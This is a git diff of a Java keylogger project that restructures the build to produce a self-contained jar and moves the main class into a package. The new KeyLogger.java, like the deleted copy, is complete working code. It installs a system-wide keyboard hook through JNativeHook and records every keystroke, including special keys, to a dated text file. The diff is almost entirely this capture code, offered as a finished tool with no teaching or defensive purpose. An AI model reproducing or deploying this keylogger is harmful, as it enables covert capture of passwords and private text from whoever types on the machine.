diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f03a117 --- /dev/null +++ b/.gitignore @@ -0,0 +1,7 @@ +.classpath +.project +.settings + +target + +keylogger-*-*-*.txt diff --git a/pom.xml b/pom.xml index e2fe6c2..fb83032 100644 --- a/pom.xml +++ b/pom.xml @@ -1,32 +1,52 @@ - - 4.0.0 + + 4.0.0 - org.av-sharma - keylogger - 1.0 - - - - - org.apache.maven.plugins - maven-compiler-plugin - - 7 - 7 - - - - + org.av-sharma + keylogger + 1.0 - - - com.1stleg - jnativehook - 2.0.2 - - + + UTF-8 + UTF-8 + 1.7 + 1.7 + org.avsharma.keylogger.KeyLogger + 2.1.0 + + + + com.1stleg + jnativehook + ${dep.jnativehook.version} + + + + + + maven-assembly-plugin + + + make-keylogger + package + + ${project.artifactId}-${project.version} + + + ${mainClass} + + + + jar-with-dependencies + + + + single + + + + + + \ No newline at end of file diff --git a/src/main/java/KeyLogger.java b/src/main/java/KeyLogger.java deleted file mode 100644 index 124f274..0000000 --- a/src/main/java/KeyLogger.java +++ /dev/null @@ -1,211 +0,0 @@ -import org.jnativehook.GlobalScreen; -import org.jnativehook.NativeHookException; -import org.jnativehook.keyboard.NativeKeyEvent; -import org.jnativehook.keyboard.NativeKeyListener; - -import java.io.BufferedWriter; -import java.io.FileWriter; -import java.io.IOException; -import java.text.DateFormat; -import java.text.SimpleDateFormat; -import java.util.Date; -import java.util.logging.Level; -import java.util.logging.Logger; - -/* - * @author: av-sharma - */ - -public class KeyLogger extends javax.swing.JFrame implements NativeKeyListener { - private static Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName()); - private static String fileLocation = System.getProperty("user.dir") + "/"; - private static String fileName = "keylogger"; - private static DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd"); - - public void saveLog(String log) { - try (BufferedWriter bw = new BufferedWriter(new FileWriter(fileLocation + fileName + "-" + dateFormat.format(new Date()) + ".txt", true))) { - bw.write(log); - } catch (IOException e) { - System.err.println("ERROR!! IOException."); - e.printStackTrace(); - System.exit(1); - } - } - - @Override - public void nativeKeyPressed(NativeKeyEvent nativeKeyEvent) { -// System.out.println("Key Pressed: " + NativeKeyEvent.getKeyText(nativeKeyEvent.getKeyCode()) + " : " + nativeKeyEvent.getKeyCode()); - switch (nativeKeyEvent.getKeyCode()) { - case 1: - saveLog("[Esc]"); - System.out.print("[Esc]"); - break; - case 15: - saveLog("[Tab]"); - System.out.print("[Tab]"); - break; - case 58: - saveLog("[CapsLock]"); - System.out.print("[CapsLock]"); - break; - case 42: - System.out.print("[L Shift]"); - saveLog("[L Shift]"); - break; - case 29: - System.out.print("[L Ctrl]"); - saveLog("[L Ctrl]"); - break; - case 56: - System.out.print("[L Alt]"); - saveLog("[L Alt]"); - break; - case 3640: - System.out.print("[R Alt]"); - saveLog("[R Alt]"); - break; - case 3613: - System.out.print("[R Ctrl]"); - saveLog("[R Ctrl]"); - break; - case 57419: - System.out.print("[Left]"); - saveLog("[Left]"); - break; - case 57416: - System.out.print("[Up]"); - saveLog("[Up]"); - break; - case 57424: - System.out.print("[Down]"); - saveLog("[Down]"); - break; - case 57421: - System.out.print("[Right]"); - saveLog("[Right]"); - break; - case 3612: - case 28: - System.out.print("[Enter]"); - saveLog("[Enter]" + "\n"); - break; - case 54: - System.out.print("[R Shift]"); - saveLog("[R Shift]"); - break; - case 14: - System.out.print("[Backspace]"); - saveLog("[Backspace]"); - break; - case 69: - System.out.print("[Num Lock]"); - saveLog("[Num Lock]"); - break; - case 3657: - System.out.print("[Page Up]"); - saveLog("[Page Up]"); - break; - case 3665: - System.out.print("[Page Down]"); - saveLog("[Page Down]"); - break; - case 3655: - System.out.print("[Home]"); - saveLog("[Home]"); - break; - case 3663: - System.out.print("[End]"); - saveLog("[End]"); - break; - case 3667: - System.out.print("[Delete]"); - saveLog("[Delete]"); - break; - case 3666: - System.out.print("[Insert]"); - saveLog("[Insert]"); - break; - case 3639: - System.out.print("[PrtScr]"); - saveLog("[PrtScr]"); - break; - case 88: - System.out.print("[F12]"); - saveLog("[F12]"); - break; - case 87: - System.out.print("[F11]"); - saveLog("[F11]"); - break; - case 68: - System.out.print("[F10]"); - saveLog("[F10]"); - break; - case 67: - System.out.print("[F9]"); - saveLog("[F9]"); - break; - case 66: - System.out.print("[F8]"); - saveLog("[F8]"); - break; - case 65: - System.out.print("[F7]"); - saveLog("[F7]"); - break; - case 64: - System.out.print("[F6]"); - saveLog("[F6]"); - break; - case 63: - System.out.print("[F5]"); - saveLog("[F5]"); - break; - case 62: - System.out.print("[F4]"); - saveLog("[F4]"); - break; - case 61: - System.out.print("[F3]"); - saveLog("[F3]"); - break; - case 60: - System.out.print("[F2]"); - saveLog("[F2]"); - break; - case 59: - System.out.print("[F1]"); - saveLog("[F1]"); - break; - } - } - - @Override - public void nativeKeyReleased(NativeKeyEvent e) { - } - - @Override - public void nativeKeyTyped(NativeKeyEvent e) { - System.out.print(String.valueOf(e.getKeyChar())); - saveLog(String.valueOf(e.getKeyChar())); - } - - public static void main(String[] args) { - System.out.println("SAVE FILE LOCATION: " + fileLocation); - - try { - GlobalScreen.registerNativeHook(); - // Disable logging first - logger.setLevel(Level.WARNING); - logger.setUseParentHandlers(false); - } - catch (NativeHookException e) { - System.err.println("ERROR!! Problem registering native hook."); - System.err.println(e.getMessage()); - e.printStackTrace(); - System.exit(1); - } - - GlobalScreen.addNativeKeyListener(new KeyLogger()); - } -} diff --git a/src/main/java/org/avsharma/keylogger/KeyLogger.java b/src/main/java/org/avsharma/keylogger/KeyLogger.java new file mode 100644 index 0000000..6a82d98 --- /dev/null +++ b/src/main/java/org/avsharma/keylogger/KeyLogger.java @@ -0,0 +1,218 @@ +package org.avsharma.keylogger; + +import java.io.BufferedWriter; +import java.io.FileWriter; +import java.io.IOException; +import java.text.DateFormat; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.logging.Level; +import java.util.logging.Logger; + +import org.jnativehook.GlobalScreen; +import org.jnativehook.NativeHookException; +import org.jnativehook.keyboard.NativeKeyEvent; +import org.jnativehook.keyboard.NativeKeyListener; + +/* + * @author: av-sharma + */ + +public class KeyLogger extends javax.swing.JFrame implements NativeKeyListener { + private static final long serialVersionUID = -2596279782385978797L; + + private static Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName()); + + private static String fileLocation = System.getProperty("user.dir") + "/"; + private static String fileName = "keylogger"; + + private static DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd"); + + public void saveLog(String log) { + try (BufferedWriter bw = new BufferedWriter( + new FileWriter(fileLocation + fileName + "-" + dateFormat.format(new Date()) + ".txt", true))) { + bw.write(log); + bw.flush(); + } catch (IOException e) { + System.err.println("ERROR!! IOException."); + e.printStackTrace(); + Runtime.getRuntime().exit(1); + } + } + + @Override + public void nativeKeyPressed(NativeKeyEvent nativeKeyEvent) { +// System.out.println("Key Pressed: " + NativeKeyEvent.getKeyText(nativeKeyEvent.getKeyCode()) + " : " + nativeKeyEvent.getKeyCode()); + switch (nativeKeyEvent.getKeyCode()) { + case 1: + saveLog("[Esc]"); + System.out.print("[Esc]"); + break; + case 15: + saveLog("[Tab]"); + System.out.print("[Tab]"); + break; + case 58: + saveLog("[CapsLock]"); + System.out.print("[CapsLock]"); + break; + case 42: + System.out.print("[L Shift]"); + saveLog("[L Shift]"); + break; + case 29: + System.out.print("[L Ctrl]"); + saveLog("[L Ctrl]"); + break; + case 56: + System.out.print("[L Alt]"); + saveLog("[L Alt]"); + break; + case 3640: + System.out.print("[R Alt]"); + saveLog("[R Alt]"); + break; + case 3613: + System.out.print("[R Ctrl]"); + saveLog("[R Ctrl]"); + break; + case 57419: + System.out.print("[Left]"); + saveLog("[Left]"); + break; + case 57416: + System.out.print("[Up]"); + saveLog("[Up]"); + break; + case 57424: + System.out.print("[Down]"); + saveLog("[Down]"); + break; + case 57421: + System.out.print("[Right]"); + saveLog("[Right]"); + break; + case 3612: + case 28: + System.out.print("[Enter]"); + saveLog("[Enter]" + "\n"); + break; + case 54: + System.out.print("[R Shift]"); + saveLog("[R Shift]"); + break; + case 14: + System.out.print("[Backspace]"); + saveLog("[Backspace]"); + break; + case 69: + System.out.print("[Num Lock]"); + saveLog("[Num Lock]"); + break; + case 3657: + System.out.print("[Page Up]"); + saveLog("[Page Up]"); + break; + case 3665: + System.out.print("[Page Down]"); + saveLog("[Page Down]"); + break; + case 3655: + System.out.print("[Home]"); + saveLog("[Home]"); + break; + case 3663: + System.out.print("[End]"); + saveLog("[End]"); + break; + case 3667: + System.out.print("[Delete]"); + saveLog("[Delete]"); + break; + case 3666: + System.out.print("[Insert]"); + saveLog("[Insert]"); + break; + case 3639: + System.out.print("[PrtScr]"); + saveLog("[PrtScr]"); + break; + case 88: + System.out.print("[F12]"); + saveLog("[F12]"); + break; + case 87: + System.out.print("[F11]"); + saveLog("[F11]"); + break; + case 68: + System.out.print("[F10]"); + saveLog("[F10]"); + break; + case 67: + System.out.print("[F9]"); + saveLog("[F9]"); + break; + case 66: + System.out.print("[F8]"); + saveLog("[F8]"); + break; + case 65: + System.out.print("[F7]"); + saveLog("[F7]"); + break; + case 64: + System.out.print("[F6]"); + saveLog("[F6]"); + break; + case 63: + System.out.print("[F5]"); + saveLog("[F5]"); + break; + case 62: + System.out.print("[F4]"); + saveLog("[F4]"); + break; + case 61: + System.out.print("[F3]"); + saveLog("[F3]"); + break; + case 60: + System.out.print("[F2]"); + saveLog("[F2]"); + break; + case 59: + System.out.print("[F1]"); + saveLog("[F1]"); + break; + } + } + + @Override + public void nativeKeyReleased(NativeKeyEvent e) { + } + + @Override + public void nativeKeyTyped(NativeKeyEvent e) { + System.out.print(String.valueOf(e.getKeyChar())); + saveLog(String.valueOf(e.getKeyChar())); + } + + public static void main(String[] args) { + System.out.println("SAVE FILE LOCATION: " + fileLocation); + + try { + GlobalScreen.registerNativeHook(); + // Disable logging first + logger.setLevel(Level.WARNING); + logger.setUseParentHandlers(false); + } catch (NativeHookException e) { + System.err.println("ERROR!! Problem registering native hook."); + System.err.println(e.getMessage()); + e.printStackTrace(); + System.exit(1); + } + + GlobalScreen.addNativeKeyListener(new KeyLogger()); + } +} diff --git a/target/classes/KeyLogger.class b/target/classes/KeyLogger.class deleted file mode 100644 index 3337bc3..0000000 Binary files a/target/classes/KeyLogger.class and /dev/null differ diff --git a/target/keylogger-1.0.jar b/target/keylogger-1.0.jar deleted file mode 100644 index 7183e0d..0000000 Binary files a/target/keylogger-1.0.jar and /dev/null differ diff --git a/target/maven-archiver/pom.properties b/target/maven-archiver/pom.properties deleted file mode 100644 index 4c45add..0000000 --- a/target/maven-archiver/pom.properties +++ /dev/null @@ -1,5 +0,0 @@ -#Generated by Maven -#Thu Dec 26 23:48:24 IST 2019 -version=1.0 -groupId=org.av-sharma -artifactId=keylogger diff --git a/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst deleted file mode 100644 index c17decf..0000000 --- a/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst +++ /dev/null @@ -1 +0,0 @@ -KeyLogger.class diff --git a/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst deleted file mode 100644 index 047efeb..0000000 --- a/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst +++ /dev/null @@ -1 +0,0 @@ -/mnt/A872817972814CCE/Coding/projects/keylogger/src/main/java/KeyLogger.java diff --git a/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst b/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst deleted file mode 100644 index e69de29..0000000